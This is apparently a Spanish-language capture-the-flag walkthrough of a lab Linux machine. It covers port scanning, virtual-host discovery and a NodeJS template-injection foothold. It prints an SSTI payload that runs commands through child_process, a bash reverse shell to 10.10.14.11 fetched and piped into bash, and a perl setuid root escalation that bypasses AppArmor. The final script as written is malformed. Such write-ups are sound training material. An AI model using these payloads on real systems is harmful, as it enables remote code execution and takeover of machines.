Pit es una máquina Linux en la cual se va a tratar los siguientes conceptos:
- NodeJS SSTI
- AppArmor Bypass
Lo primero que hacemos es comprobar la conectividad con la máquina:
ping 10.10.11.122
PING 10.10.11.122 (10.10.11.122) 56(84) bytes of data.
64 bytes from 10.10.11.122: icmp_seq=1 ttl=63 time=159 ms
De aquí podemos sacar que se la máquina víctima es un Linux, debido a su TTL.
Procedemos a escanear los puertos abiertos con NMAP
sudo nmap -p- --open --min-rate 5000 -vvv -sS -n -Pn 10.10.11.122 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-25 17:46 CEST
Initiating SYN Stealth Scan at 17:46
Scanning 10.10.11.122 [65535 ports]
Discovered open port 443/tcp on 10.10.11.122
Discovered open port 80/tcp on 10.10.11.122
Discovered open port 22/tcp on 10.10.11.122
Completed SYN Stealth Scan at 17:46, 13.06s elapsed (65535 total ports)
Nmap scan report for 10.10.11.122
Host is up, received user-set (0.054s latency).
Scanned at 2022-09-25 17:46:33 CEST for 13s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Sabiendo los puertos abiertos pasamos a escanear los servicios y versiones que corren por dichos puertos:
sudo nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-25 17:47 CEST
Nmap scan report for 10.10.11.122
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|http-title: Did not follow redirect to https://nunchucks.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_http-title: Nunchucks - Landing Page | tls-nextprotoneg: | http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|Not valid after: 2031-08-28T15:42:24 | tls-alpn: | http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Viendo que tenemos los puertos 80 y 443 y que hemos sacado el dominio nunchucks.htb, con whatweb podemos intentar saber que es lo que corre en dicho servidor web, así como acceder a las webs para visualizar su contenido.
Vemos que hay en los puertos 80 y 443
whatweb http://10.10.11.122
http://10.10.11.122 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], RedirectLocation[https://nunchucks.htb/], Title[301 Moved Permanently], ngi>
ERROR Opening: https://nunchucks.htb/ - no address for nunchucks.htb
whatweb https://10.10.11.122
https://10.10.11.122 [200 OK] Bootstrap, Cookies[_csrf], Country[RESERVED][ZZ], Email[support@nunchucks.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], JQuery, Script, Title[Nun>
Y ahora accedemos a las webs
Navegando por el sitio vemos que tenemos un apartado para registrarnos y otro de login pero ninguno de ellos funciona.
En este punto, procedemos a escanear subcarpetas y subdominios con gobuster
gobuster vhost -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --url https://nunchucks.htb -t 200 -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://nunchucks.htb
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/25 18:07:59 Starting gobuster in VHOST enumeration mode
===============================================================
Found: store.nunchucks.htb (Status: 200) [Size: 4029]
===============================================================
2022/09/25 18:08:04 Finished
===============================================================
Localizamos un subdominio store en el cual podemos ver lo siguiente:
Si introducimos una dirección de correo vemos que nos muestra en pantalla la misma dirección que escribimos en el cuadro de texto, probamos a ver si es vulnerable a SSTI:
Vemos que si lo es, por lo que en este punto lo que hacemos es abrir burpsuite y tramitar la peticion a través de este para ejecutar comandos de forma remota.
Si en la petición, en lugar de poner lo que vemos en la captura anterior, añadimos el siguente código, podremos ver que somos capaces de ejecutar comandos:
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
Por lo que nos creamos el siguiente script en un fichero index.html:
!/bin/bash
bash -i >& /dev/tcp/10.10.14.11/443 0>&1
Montamos un servidor http con python, por ejemplo y por otro lado nos ponemos en escucha preparados para recibir una reverse shell y, en la peticion de burpsuite hacemos un curl al servidor http montado con python, para así, obtener el fichero index.html con el código en bash. Todo esto, con el uso de «| bash» nos ejecutará el código en bash para darnos acceso:
Una vez aquí, hacemos el tratamiento de la terminal para que no se nos descuadre ni tengamos problemas al hacer CTRL+ L ni CTRL + C. Podemos obtener la flag del usuario.
En cuanto a la escalada de privilegios vamos buscando que vulnerabilidades podemos encontrar y podemos ver lo siguiente:
david@nunchucks:/$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
david@nunchucks:/$
En la siguiente web nos indica como podemos ejecutar comandos como root modificando nuestro uid con perl:
https://gtfobins.github.io/gtfobins/perl/#sudo
En el enlace podemos ver que si ejecutamos el siguiente código, nos debería de ejecutar los comandos indicados como root. De hecho el whoami nos devuelve que somos root pero no nos permite ejecutar binarios como /bin/bash o /bin/sh:
david@nunchucks:/$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root
Entonces empezamos a buscar el motivo de esto y localizo lo siguiente:
david@nunchucks:/$ find \-name \*apparmor\* 2>/dev/null | grep -vE "proc|var|usr"
./run/systemd/units/invocation:apparmor.service
./etc/apparmor.d
./etc/apparmor.d/abstractions/apparmor_api
./etc/apparmor.d/tunables/apparmorfs
./etc/xdg/autostart/apparmor-notify.desktop
./etc/apparmor
AppArmor es un programa que permite asociar a un programa un perfil de seguridad, limitando su uso, por eso, perl está limitado. Pero existen bugs, como este:https://bugs.launchpad.net/apparmor/+bug/1911431
Basicamente, el bug consiste es que si ejecutamos el oneliner que se menciona mas arriba en un script, este se ejecutará correctamente. Entonces creamos el siguiente script:
#!/usr/bin/perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "bash";
Esto nos dará una shel en bash como root